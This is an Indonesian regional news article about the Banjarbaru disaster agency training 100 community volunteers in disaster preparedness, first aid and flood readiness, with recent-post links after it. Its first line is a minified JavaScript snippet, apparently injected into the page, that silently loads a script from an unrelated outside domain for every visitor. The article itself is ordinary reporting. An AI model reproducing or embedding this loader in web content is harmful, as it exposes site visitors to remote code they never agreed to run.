(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Relawan MPB se Kota Banjarbaru Dilatih Tanggap Bencana


KANALKALIMANTAN.COM, BANJARBARU – Badan Penanggulangan Bencana Daerah (BPBD) Kota Banjarbaru menggelar pelatihan tanggap bencana kepada ratusan relawan yang tergabung dalam Masyarakat Peduli Bencana (MPB) Kota Banjarbaru.

Ada 100 relawan MPB yang tersebar di 20 kelurahan di Kota Banjarbaru ikut pelatihan yang diselenggarakan di aula Lianggangan DPRD Banjarbaru, Selasa (30/9/2025) siang.

Para relawan dibekali materi kesiapsiagaan bencana hadapi cuaca ekstrem musim hujan yang diprediksi terjadi November 2025.

Baca juga: Survei Kepuasan Publik 100 Hari Kerja Lisa –Wartono, Ini Angka yang Didapat LS Vinus


Tak hanya itu, mereka juga diberikan pelatihan tentang pertolongan pertama saat terjadi peristiwa, seperti kebakaran dan keadaan bahaya.

Salah satu peserta Hendra, relawan MPB Kelurahan Landasan Ulin Selatan mengaku mendapat pengetahuan salah satunya tentang bagaimana menangani luka bakar.

“Sudah bergabung dengan MPB dari 2019. Pembinaan, Alhamdulillah sangat bagus, BPBD Kota Banjarbaru pun sangat mendukung dengan adanya MPB,” ujar Hendra, anggota MPB.

Hendra menyebutkan sejumlah potensi bencana yang kerap terjadi di Kelurahan Landasan Ulin Selatan seperti kebakaran hutan dan lahan, banjir, hingga angin puting beliung.

Baca juga: PUPR Kalsel Gelar Rakor Pembinaan dan Pengawasan Penyelenggaraan Jasa Konstruksi

“Kalau dari pelatihan ini yang saat ini yang kita dapat adalah masalah misalkan terjadi luka bakar, karena kan kita sering menghadapi kebakaran hutan dan lahan,” jelasnya.

Untuk kesiapsiagaan menjelang cuaca ekstrem
tahun ini, para relawan bekerja sama memberikan sosialisasi kepada masyarakat untuk segera melaporkan setiap ada peristiwa kejadian kepada relawan MPB.

Seperti tahun ini bencana karhutla yang melanda wilayah Landasan Ulin Selatan dilaporkan kurang lebih terjadi pada 20 hektare lahan.

“Kita memberikan sosialisasi kepada masyarakat untuk sering memberikan informasi kepada kita terkait kejadian-kejadian kebencanaan. Dengan begitu seperti kejadian karhutla tahun ini sudah cukup menurun,” ungkap Hendra.

Baca juga: Kepala Kantor Pertanahan ATR/BPN Banjar Audiensi ke Bupati Banjar, Ini yang Dibahas

Kepala Pelaksana (Kalak) BPBD Kota Banjarbaru Zaini Syahranie mengatakan seiring dengan dicabutkan status siaga karhutla, Banjarbaru kini menetapkan status siaga bencana banjir dan cuaca ekstrem.

“Kota Banjarbaru sesuai arahan Wali Kota sudah menetapkan status siaga bencana banjir dan cuaca ekstrem,” ucap Kalak BPBD Kota Banjarbaru Zaini.

“Kami dalam melakukan pelatihan ini tentunya karena peserta bencana ini adalah binaan, sebagai ujung tombak dari kedaruratan kebencanaan yang tersebar di kelurahan masing-masing,” tambahnya.

Sosialisasi dilakukan sebagai upaya memperkuat sekaligus menambah wawasan relawan MPB untuk siap melakukan penanggulangan bencana.

Baca juga: Seminar Literasi “Iqro dan Menulislah” Bersama Gus Dhofir di Martapura

Dalam sosialisasi katanya, disampaikan beberapa materi oleh berbagai narasumber seperti BPBD Provinsi Kalsel hingga Dinas Kesehatan.

“Peserta berjumlah 100 relawan MPB dari 20 kelurahan. Mereka sudah memiliki SK oleh Wali Kota Banjarbaru,” jelas dia.

Masih kata Zaini, status siaga bencana banjir dan cuaca ekstrem ditetapkan untuk kesiapsiagaan meski di sejumlah titik masih dilanda cuaca panas.

“Karena memang cuaca ekstrem, walaupun sebenarnya ada panas, tetapi kita melakukan kesiapsiagaan itu dengan menetapkan siaga bencana banjir dan cuaca ekstremnya,” ungkap Zaini.

Baca juga: Telur Ayam di Warung Kecil dan Pasar Martapura Naik

Sejumlah persiapan yang dilakukan salah satunya adalah, BPBD telat memetakan wilayah-wilayah rawan bencana.

“Wilayahnya yang jelas, karena musim hujan dan angin puting yang kita khawatirkan terjadia maka kita petakan wilayah rawan bencana sesuai dengan dokumen kita, kita sudah siapkan,” tandasnya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

3 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

4 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

4 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

6 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

12 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.